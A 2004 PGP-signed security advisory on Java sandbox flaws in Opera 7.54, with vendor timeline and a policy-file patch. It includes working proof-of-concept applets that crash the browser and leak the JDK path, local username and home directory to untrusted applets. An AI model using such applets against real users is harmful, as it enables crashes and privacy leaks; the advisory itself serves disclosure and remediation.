-----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 Illegalaccess.org Advisory: Opera 7.54 Java vulnerabilities Author: Marc Schönefeld, www.illegalaccess.org Summary Opera 7.54 is vulnerable to leakage of the java sandbox, allowing malicious applets to gain unacceptable privileges. This allows them to be used for information gathering (spying) of local identity information and system configurations as well as causing annoying crash effects. History Discovery and vendor informed: 01 Sep 2004 Public Disclosure: 19 Nov 2004 Solution Opera Software has eliminated the vulnerability in current 7.60 beta versions. The 7.54 version can be cured by applying a patch to the file opera.policy to achieve the same effect. Affected Version Opera 7.54 for all platforms, although several exploits were only tested on win32. Prior versions may also be affected. Problem 1: Problem with Java Policy settings In contrast to other major browsers which use the Java Plugin, Opera uses the JRE directly with a proprietary adapter. Opera also introduces it's own default policy, allowing unprivileged applets access to internal sun-packages by specifying in Opera.policy: grant {    permission java.lang.RuntimePermission "accessClassInPackage.sun.*"; }; This opens the gate to some undocumented functionality and violates Sun's guidelines for secure java programming. These lines should be commented out to get rid of the vulnerabilities shown in the later text. An attacker could crash the browser or do some other annoying things harmful to the user. Just like with the following proof-of-concept to trigger a native debug assertion: import sun.awt.font.*; public class Opera754FontCrashApplet extends java.applet.Applet{     public void start() {       int j = javax.swing.JOptionPane.showConfirmDialog(null,"Illegalaccess.org | Step1 Opera 754 FontCrash, wanna crash? ");       if (j == 0)  {        NativeFontWrapper.getFullNameByIndex(Integer.MIN_VALUE);        NativeFontWrapper.getFullNameByIndex(Integer.MAX_VALUE);    }  } } The default java appletviewer which implements the same security mechanisms than the Java plugin complains with the following message instead of executing the method invocation: java.security.AccessControlException: access denied (java.lang.RuntimePermission accessClassInPackage.sun.awt.font)        at java.security.AccessControlContext.checkPermission(AccessControlConte xt.java:269)        at java.security.AccessController.checkPermission(AccessController.java: 401)        at java.lang.SecurityManager.checkPermission(SecurityManager.java:524)        at java.lang.SecurityManager.checkPackageAccess(SecurityManager.java:149 1)        at sun.applet.AppletSecurity.checkPackageAccess(AppletSecurity.java:190)        at sun.applet.AppletClassLoader.loadClass(AppletClassLoader.java:119)        at java.lang.ClassLoader.loadClass(ClassLoader.java:235)        at java.lang.ClassLoader.loadClassInternal(ClassLoader.java:302)        at Opera754FontCrashApplet.start(Opera754FontCrashApplet.java:9)        at sun.applet.AppletPanel.run(AppletPanel.java:377)        at java.lang.Thread.run(Thread.java:534) Opera allows all untrusted applets access to these classes by disabling the need to acquire a access permission for sun packages. In general we recommend the Opera programmers to switch the opera java architecture to the standards based approach and use the java plugin. Problem 2: JRE Packaging Opera 754 which was released Aug 5,2004 is vulnerable to the XSLT processor covert channel attack, which was corrected with JRE 1.4.2_05 [released in July 04], but in disadvantage to the users the opera packaging guys chose to bundle the JRE 1.4.2_04, being quite aware of the offical Sun advisory (http://sunsolve.sun.com/pub-cgi/retrieve.pl?doc=fsalert/57613) reporting this issue, which was released a few days earlier. Problem 3: Internal pointer DoS exploitation: Opera.jar contains the opera replacement of the java plugin. It therefore handles communication between javascript and the Java VM via the liveconnect protocol. The public class EcmaScriptObject exposes a system memory pointer to the java address space, by constructing a special variant of this type an internal cache table can be polluted by false entries that infer proper function of the JSObject class and in the following proof-of-concept crash the browser. import netscape.javascript.*; import com.opera.*; public class Opera754EcmaScriptApplet extends java.applet.Applet{     public void start()  {              PluginContext pc = (PluginContext)this.getAppletContext();    int jswin= pc.getJSWindow();    int esrun= pc.getESRuntime();      EcmaScriptObject eso4 = EcmaScriptObject.getObject (jswin,1);         try {       JSObject js = JSObject.getWindow(this);       System.out.println(js);    }    catch (Exception e) {        e.printStackTrace();    }     } } Problem 4: Exposure of location of local java installation Sniffing the URL classpath allows to retrieve the URLs of the bootstrap class path and therefore the JDK installation directory. This is of course a privilege escalation for an untrusted applet. : import sun.misc.*; import java.util.Enumeration; public class Opera754LauncherApplet extends java.applet.Applet{     public void start()  {            URLClassPath o = Launcher.getBootstrapClassPath();       for (int i = 0; i < o.getURLs().length; i++) {           System.out.println(o.getURLs()[i]);       }   } } Problem 5: Exposure of local user name to an untrusted applet An attacker could use the sun.security.krb5.Credentials class to retrieve the name of the currently logged in user and parse his home directory from the information which is provided by the thrown java.security.AccessControlException . import sun.security.krb5.*; public class Opera754KerberosAppletPrint extends java.applet.Applet{ public void start() { int j = javax.swing.JOptionPane.showConfirmDialog(null,"Illegalaccess.org | Step1 Opera 754 FontCrash, wanna crash? "); System.out.println(j); try { Credentials c = Credentials.acquireDefaultCreds(); System.out.println(c); j = javax.swing.JOptionPane.showConfirmDialog(null,"Illegalaccess.org |Got something for ya"+c); } catch (Exception e) { j = javax.swing.JOptionPane.showConfirmDialog(null,e.toString()); } } } The attacker may then evaluate the following exception thrown by acquireDefaultCreds, which allows him to guess the operating system, the location of user files as well as the name of the user running the applet. java.security.AccessControlException: access denied (java.io.FilePermission C:\Dokumente und Einstellungen\Marc\krb5cc_Marc read) Solution: For secure java browsing we recommend to use a browser (such as Firefox) that supports the standard Java Plugin and the standard browser sandbox. For non-java browsing Opera may be sufficient. If you decide to continue using Opera then you are recommended to upgrade to the latest beta of Opera 7.60 or apply the following patch in the java policy file (.opera.policy.) in your opera installation. This can be done easily by commenting out the following grant section. // Standard extensions get all permissions by default [...] //grant { // permission java.lang.RuntimePermission "accessClassInPackage.sun.*"; //}; Greetz: Halvar, FX, Johnny and G0dzilla..., Anne Stavnes and Christen Krogh of Opera Further Bugs: These bugs are only examples for a couple more bugs that are of the same kind. Disclaimer: The information in this advisory and any of its demonstrations is provided "as is" without warranty of any kind. Illegalaccess.org  is not liable for any direct or indirect damages caused as a result of using the information or demonstrations provided in any part of this advisory. - -- Never be afraid to try something new. Remember, amateurs built the ark; professionals built the Titanic. -- Anonymous Marc Schönefeld Dipl. Wirtsch.-Inf. / Software Developer -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.2.6 (AIX) iD8DBQFBnievqCaQvrKNUNQRAhUUAKCAxGkyd2ijxvJ9WeHDeqmajQmndgCfT9wM P151JR+1gltkxFhi/H+YYtM= =TPTb -----END PGP SIGNATURE-----